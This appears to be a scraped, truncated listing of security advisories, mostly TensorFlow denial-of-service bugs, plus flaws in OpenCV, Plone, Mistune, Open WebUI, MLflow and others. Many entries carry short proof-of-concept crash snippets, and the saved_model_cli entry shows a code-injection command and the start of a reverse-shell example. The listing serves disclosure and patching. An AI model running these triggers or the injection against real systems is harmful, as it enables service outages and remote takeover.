TensorFlow vulnerable to `CHECK` fail in `tf.linalg.matrix_rank`

ImpactWhen tf.linalg.matrixrank receives an empty input a, the GPU kernel gives a CHECK fail that can be used to trigger a denial of service attack.pythonimport tensorflow as tfa = tf.constant, shape=0, 1, 1, dtype=tf.float32tf.linalg.matrixranka=a PatchesWe have patched the issue in GitHub commi...

TensorFlow vulnerable to `CHECK` fail in `LRNGrad`

ImpactIf LRNGrad is given an outputimage input tensor that is not 4-D, it results in a CHECK fail that can be used to trigger a denial of service attack.pythonimport tensorflow as tfdepthradius = 1bias = 1.59018219alpha = 0.117728651beta = 0.404427052inputgrads = tf.random.uniformshape=4, 4, 4, 4...

TensorFlow vulnerable to `CHECK` fail in `MaxPool`

ImpactWhen MaxPool receives a window size input array ksize with dimensions greater than its input tensor input, the GPU kernel gives a CHECK fail that can be used to trigger a denial of service attack.pythonimport tensorflow as tfimport numpy as npinput = np.ones1, 1, 1, 1ksize = 1, 1, 2, 2strid...

TensorFlow vulnerable to segfault in `QuantizedRelu` and `QuantizedRelu6`

ImpactIf QuantizedRelu or QuantizedRelu6 are given nonscalar inputs for minfeatures or maxfeatures, it results in a segfault that can be used to trigger a denial of service attack.pythonimport tensorflow as tfouttype = tf.quint8features = tf.constant28, shape=4,2, dtype=tf.quint8minfeatures =...

TensorFlow vulnerable to segfault in `QuantizedRelu` and `QuantizedRelu6`

ImpactIf QuantizedRelu or QuantizedRelu6 are given nonscalar inputs for minfeatures or maxfeatures, it results in a segfault that can be used to trigger a denial of service attack.pythonimport tensorflow as tfouttype = tf.quint8features = tf.constant28, shape=4,2, dtype=tf.quint8minfeatures =...

TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVars`

ImpactIf FakeQuantWithMinMaxVars is given min or max tensors of a nonzero rank, it results in a CHECK fail that can be used to trigger a denial of service attack.pythonimport tensorflow as tfnumbits = 8narrowrange = Falseinputs = tf.constant0, shape=2,3, dtype=tf.float32min = tf.constant0,...

TensorFlow vulnerable to Int overflow in `RaggedRangeOp`

ImpactThe RaggedRangOp function takes an argument limits that is eventually used to construct a TensorShape as an int64. If limits is a very large float, it can overflow when converted to an int64. This triggers an InvalidArgument but also throws an abort signal that crashes the...

TensorFlow vulnerable to `CHECK` failure in `TensorListReserve` via missing validation

ImpactIn core/kernels/listkernels.cc's TensorListReserve, numelements is assumed to be a tensor of size 1. When a numelements of more than 1 element is provided, then tf.rawops.TensorListReserve fails the CHECKEQ in CheckIsAlignedAndSingleElement.pythonimport tensorflow as...

TensorFlow vulnerable to floating point exception in `Conv2D`

ImpactIf Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.pythonimport tensorflow as tfimport numpy as npwith tf.device"CPU": also can be...

TensorFlow vulnerable to `CHECK` fail in `Unbatch`

ImpactWhen Unbatch receives a nonscalar input id, it gives a CHECK fail that can trigger a denial of service attack.pythonimport tensorflow as tfimport numpy as nparg0=tf.constantvalue=np.random.randomsize=3, 3, 1, dtype=tf.float64arg1=tf.constantvalue=np.random.randint0,100,size=3, 3, 1,...

TensorFlow vulnerable to `CHECK` fail in `AudioSummaryV2`

ImpactWhen AudioSummaryV2 receives an input samplerate with more than one element, it gives a CHECK fails that can be used to trigger a denial of service attack.pythonimport tensorflow as tfarg0=''arg1=tf.random.uniformshape=1,1, dtype=tf.float32, maxval=Nonearg2=tf.random.uniformshape=2,1,...

TensorFlow vulnerable to `CHECK` fail in `RandomPoissonV2`

ImpactWhen RandomPoissonV2 receives large input shape and rates, it gives a CHECK fail that can trigger a denial of service attack.pythonimport tensorflow as tfarg0=tf.random.uniformshape=4,, dtype=tf.int32, maxval=65536arg1=tf.random.uniformshape=4, 4, 4, 4, 4, dtype=tf.float32,...

TensorFlow vulnerable to `CHECK` fail in `tf.random.gamma`

ImpactWhen tf.random.gamma receives large input shape and rates, it gives a CHECK fail that can trigger a denial of service attack.pythonimport tensorflow as tfarg0=tf.random.uniformshape=4,, dtype=tf.int32, maxval=65536arg1=tf.random.uniformshape=4, 4, dtype=tf.float64,...

TensorFlow vulnerable to `CHECK` fail in `RaggedTensorToVariant`

ImpactIf RaggedTensorToVariant is given a rtnestedsplits list that contains tensors of ranks other than one, it results in a CHECK fail that can be used to trigger a denial of service attack.pythonimport tensorflow as tfbatchedinput = Truertnestedsplits = tf.constant0,32,64, shape=3,...

Code injection in `saved_model_cli` in TensorFlow

ImpactTensorFlow's savedmodelcli tool is vulnerable to a code injection:savedmodelcli run --inputexprs 'x=print"malicious code to run"' --dir ./--tagset serve --signaturedef servingdefaultThis can be used to open a reverse shell savedmodelcli run --inputexprs 'hello=exec"""\nimport...

Core dump when loading TFLite models with quantization in TensorFlow

ImpactCertain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling.Thus, since code was calling...

Incomplete validation in signal ops leads to crashes in TensorFlow

ImpactThe tf.compat.v1.signal.rfft2d and tf.compat.v1.signal.rfft3d lack input validation and under certain condition can result in crashes due to CHECK-failures. Patches We have patched the issue in GitHub commit 0a8a781e597b18ead006d19b7d23d0a369e9ad73 merging GitHub PR 55274.The fix will be...

Undefined behavior when users supply invalid resource handles

ImpactMultiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid:pythonimport tensorflow as tftf.rawops.QueueIsClosedV2handle=pythonimport tensorflow as tftf.summary.flushwriter= In graph mode, it would have been impossible to perform these API...

Undefined behavior when users supply invalid resource handles

ImpactMultiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid:pythonimport tensorflow as tftf.rawops.QueueIsClosedV2handle=pythonimport tensorflow as tftf.summary.flushwriter= In graph mode, it would have been impossible to perform these API...

Missing validation results in undefined behavior in `QuantizedConv2D`

ImpactThe implementation of tf.rawops.QuantizedConv2D does not fully validate the input arguments:pythonimport tensorflow as tfinput = tf.constant1, shape=1, 2, 3, 3, dtype=tf.quint8filter = tf.constant1, shape=1, 2, 3, 3, dtype=tf.quint8 bad argsmininput = tf.constant, shape=0,...

Integer overflow in `SpaceToBatchND`

ImpactThe implementation of tf.rawops.SpaceToBatchND in all backends such as XLA and handwritten kernels is vulnerable to an integer overflow:pythonimport tensorflow as tfinput = tf.constant-3.5e+35, shape=10,19,22, dtype=tf.float32blockshape = tf.constant-1879048192, shape=2,...

Segfault due to missing support for quantized types

ImpactThere is a potential for segfault / denial of service in TensorFlow by calling tf.compat.v1. ops which don't yet have support for quantized types added after migration to TF 2.x:pythonimport numpy as npimport tensorflow as...

Missing validation causes denial of service via `StagePeek`

ImpactThe implementation of tf.rawops.StagePeek does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:pythonimport tensorflow as tfindex = tf.constant, shape=0, dtype=tf.int32tf.rawops.StagePeekindex=index,...

Missing validation causes denial of service via `Conv3DBackpropFilterV2`

ImpactThe implementation of tf.rawops.Conv3DBackpropFilterV2 does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:pythonimport tensorflow as tftf.rawops.Conv3DBackpropFilterV2 input=tf.constant.5053710941,...

OpenStack Keystone and other components vulnerable to Improper Certificate Validation

HTTPSConnections in OpenStack Keystone 2013, OpenStack Compute 2013.1, and possibly other OpenStack components, fail to validate server-side SSL certificates...

Integer overflow in Tensorflow

ImpactThe implementation of OpLevelCostEstimator::CalculateOutputSize is vulnerable to an integer overflow if an attacker can create an operation which would involve tensors with large enough number of elements:ccfor const auto& dim : outputshape.dim outputsize = dim.size; Here, we can have a lar...

Improper Restriction of XML External Entity Reference in trytond and proteus

An XXE issue was discovered in Tryton Application Platform Server 5.x through 5.0.45, 6.x through 6.0.15, and 6.1.x and 6.2.x through 6.2.5, and Tryton Application Platform Command Line Client proteus 5.x through 5.0.11, 6.x through 6.0.4, and 6.1.x and 6.2.x through 6.2.1. An authenticated user...

Division by zero in TFLite

Impact An attacker can craft a TFLite model that would trigger a division by zero in BiasAndClamp implementation:ccinline void BiasAndClampfloat clampmin, float clampmax, int biassize, const float biasdata, int arraysize, float arraydata // ... TFLITEDCHECKEQarraysize % biassize, 0; // ... There ...

Integer overflows in Tensorflow

Impact The implementations of SparseCwise ops are vulnerable to integer overflows. These can be used to trigger large allocations so, OOM based denial of service or CHECK-fails when building new TensorShape objects so, assert failures based denial of service:pythonimport tensorflow as tfimport...

Crash when type cannot be specialized in Tensorflow

ImpactUnder certain scenarios, TensorFlow can fail to specialize a type during shape inference:ccvoid InferenceContext::PreInputInit const OpDef& opdef, const std::vector& inputtensors, const std::vector& inputtensorsasshapes const auto ret = fulltype::SpecializeTypeattrs, opdef;...

Integer overflow in TensorFlow

ImpactUnder certain scenarios, Grappler component of TensorFlow is vulnerable to an integer overflow during cost estimation for crop and resize. Since the cropping parameters are user controlled, a malicious person can trigger undefined behavior. PatchesWe have patched the issue in GitHub commit...

Out-of-bounds Write in OpenCV

An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV, version 4.1.0 corresponds with OpenCV-Python version 4.1.2.30. A specially crafted JSON file can cause a buffer overflow, resulting in multiple heap corruptions and potentially code...

`CHECK`-failures during Grappler's `IsSimplifiableReshape` in Tensorflow

ImpactThe Grappler optimizer in TensorFlow can be used to cause a denial of service by altering a SavedModel such that IsSimplifiableReshape would trigger CHECK failures. PatchesWe have patched the issue in GitHub commits ebc1a2ffe5a7573d905e99bd0ee3568ee07c12c1,...

Out-of-bounds Write in OpenCV

In opencv calls that use libpng, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges required. User interaction is not required for exploitation. Product: AndroidVersions: Android-10Android...

Out-of-bounds Read and Out-of-bounds Write in OpenCV

An issue was discovered in OpenCV before 3.4.7 and 4.x before 4.1.1 OpenCV-Python before 3.4.7.28 and 4.x before 4.1.1.26. There is an out of bounds read/write in the function HaarEvaluator::OptFeature::calc in modules/objdetect/src/cascadedetect.hpp, which leads to denial of service...

Out-of-bounds Read in OpenCV

OpenCV Open Source Computer Vision Library through 3.3 corresponding to OpenCV-Python 3.3.0.9 has an out-of-bounds read error in the function icvCvtBGRA2BGR8uC4C3R when reading an image file by using cv::imread...

Out-of-bounds Write in OpenCV

OpenCV Open Source Computer Vision Library through 3.3 corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9 has an out-of-bounds write error in the function FillColorRow4 in utils.cpp when reading an image file by using cv::imread...

Out-of-bounds Write in OpenCV

OpenCV Open Source Computer Vision Library through 3.3 corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9 has an out-of-bounds write error in the FillUniColor function in utils.cpp when reading an image file by using cv::imread...

SSRF attacks via tracebacks in Plone

Plone before 5.2.3 allows SSRF attacks via the tracebacks feature only available to the Manager role...

Cross-site scripting in Products.CMFPlone and Products.PasswordResetTool

Cross-site scripting XSS vulnerability in Plone 4.1 and earlier allows remote attackers to inject arbitrary web script or HTML via a crafted URL...

PYSEC-2026-2212

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, Include.parse joins and normalizes user-supplied include paths without verifying that the result remains within the intended markdown directory, allowing crafted include paths to access files outside that directory wh...

PYSEC-2026-2217

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, the safeurl filter in src/mistune/renderers/html.py blocks only javascript:, vbscript:, file:, and data: schemes, allowing legacy or chained schemes such as feed:, view-source:, jar:, livescript:, mocha:, ms-its:, mk:...

Label Studio is vulnerable to full account takeover by chaining Stored XSS + IDOR in User Profile via custom_hotkeys field

PrologueThese vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually. SummaryA persistent stored cross-site scripting XSS vulnerability exists in the customhotkeys functionality of the application. An authenticated attacker or one who...

Weblate command-line client susceptible to SSL verification skip

ImpactThe SSL verification would be skipped for some crafted URLs. Patches https://github.com/WeblateOrg/wlc/pull/1097 WorkaroundsAvoid using untrusted wlc configurations, as that might cause insecure connections. ReferencesThis issue was reported to us by wh1zee via HackerOne...

Marshmallow has DoS in Schema.load(many)

ImpactSchema.loaddata, many=True is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time. Patches4.1.2, 3.26.2 Workaroundspy Fail fastdef loadmanyschema, data, kwargs: if not isinstancedata, list: raise ValidationError'Invalid input...

OpenStack Keystone allows /v3/ec2tokens or /v3/s3tokens request with valid AWS Signature to provide Keystone authorization.

OpenStack Keystone before 26.0.1, 27.0.0, and 28.0.0 allows a /v3/ec2tokens or /v3/s3tokens request with a valid AWS Signature to provide Keystone authorization...

Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE

SummaryThe functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink .innerHtml without sanitisation. Any user with permissions to create prompts can abuse this to plant a...

MLflow Tracking Server Model Creation Directory Traversal Remote Code Execution Vulnerability

MLflow Tracking Server Model Creation Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MLflow Tracking Server. Authentication is not required to exploit this vulnerability.The specific flaw...

Home Assistant has Stored XSS vulnerability in Energy dashboard from Energy Entity Name

SummaryAn authenticated party can add a malicious name to the Energy entity, allowing for Cross-Site Scripting attacks against anyone who can see the Energy dashboard, when they hover over any information point The blue bar in the picture belowAn alternative, and more impactful scenario, is that...

SPDK is vulnerable to buffer overflow in the NVMe-oF target component

Storage Performance Development Kit SPDK 25.05 is vulnerable to Buffer Overflow in the NVMe-oF target component in SPDK - lib/nvmf...